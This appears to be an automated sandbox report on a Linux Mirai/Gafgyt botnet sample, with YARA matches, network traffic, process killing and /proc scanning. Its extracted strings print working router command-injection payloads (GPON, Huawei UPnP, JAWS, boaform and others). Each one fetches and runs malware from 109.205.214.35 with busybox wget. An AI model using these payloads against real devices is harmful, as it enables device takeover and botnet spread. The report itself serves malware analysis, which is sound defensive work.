Source: unknown	Network traffic detected: HTTP traffic on port 59198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45022
Source: unknown	Network traffic detected: HTTP traffic on port 41872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33046
Source: unknown	Network traffic detected: HTTP traffic on port 47052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56178
Source: unknown	Network traffic detected: HTTP traffic on port 43228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59200
Source: unknown	Network traffic detected: HTTP traffic on port 39144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48992
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44144
Source: unknown	Network traffic detected: HTTP traffic on port 38244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50408
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59220
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56192
Source: unknown	Network traffic detected: HTTP traffic on port 41276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46390
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56116
Source: unknown	Network traffic detected: HTTP traffic on port 34074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38768
Source: unknown	Network traffic detected: HTTP traffic on port 34168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55276
Source: unknown	Network traffic detected: HTTP traffic on port 48754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53096
Source: unknown	Network traffic detected: HTTP traffic on port 36816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37432
Source: unknown	Network traffic detected: HTTP traffic on port 39066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38758
Source: unknown	Network traffic detected: HTTP traffic on port 38528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60622
Source: unknown	Network traffic detected: HTTP traffic on port 42844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48554
Source: unknown	Network traffic detected: HTTP traffic on port 52462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50842
Source: unknown	Network traffic detected: HTTP traffic on port 47142 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: fIupB48xS0.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: fIupB48xS0.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: fIupB48xS0.elf PID: 5433, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: fIupB48xS0.elf PID: 5483, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythonbusyboxiptablesnanonvimvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiawatchdogmkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusr/binusr/ftpusr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST / HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 792, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 1944, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 3181, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 3185, result: successful	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5482)	SIGKILL sent: pid: 5486, result: successful	Jump to behavior

Source: fIupB48xS0.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: fIupB48xS0.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5433.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5483.1.00007f63f0400000.00007f63f041d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: fIupB48xS0.elf PID: 5433, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: fIupB48xS0.elf PID: 5483, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

Source: /bin/sh (PID: 5440)

Chmod directory: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/5379/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/5276/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3647/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/fIupB48xS0.elf (PID: 5477)	File opened: /proc/936/cmdline	Jump to behavior

Source: /tmp/fIupB48xS0.elf (PID: 5435)

Shell command executed: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/fIupB48xS0.elf usr/bin; chmod 777 usr/bin"

Jump to behavior

Source: /bin/sh (PID: 5440)

Chmod executable: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /bin/sh (PID: 5438)

Mkdir executable: /usr/bin/mkdir -> mkdir usr

Jump to behavior

Source: /bin/sh (PID: 5437)

Rm executable: /usr/bin/rm -> rm -rf usr/bin

Jump to behavior

Source: /usr/bin/chmod (PID: 5440)

File: /tmp/usr/bin (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5440)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 39136 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40976 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40980 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38784 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60122 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39908 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39918 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 35180 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48658 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35196
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35216
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39908
Source: unknown	Network traffic detected: HTTP traffic on port 54998 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55012 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 35186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35186
Source: unknown	Network traffic detected: HTTP traffic on port 51282 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57266 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57320 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34682 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 39344 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39918
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43068 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36254 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43106 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36254
Source: unknown	Network traffic detected: HTTP traffic on port 36292 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36292
Source: unknown	Network traffic detected: HTTP traffic on port 44006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41952 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 44012 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 52268 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38374 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34350 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60504 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56244 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37856 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 42724 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42810 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56428 -> 7547
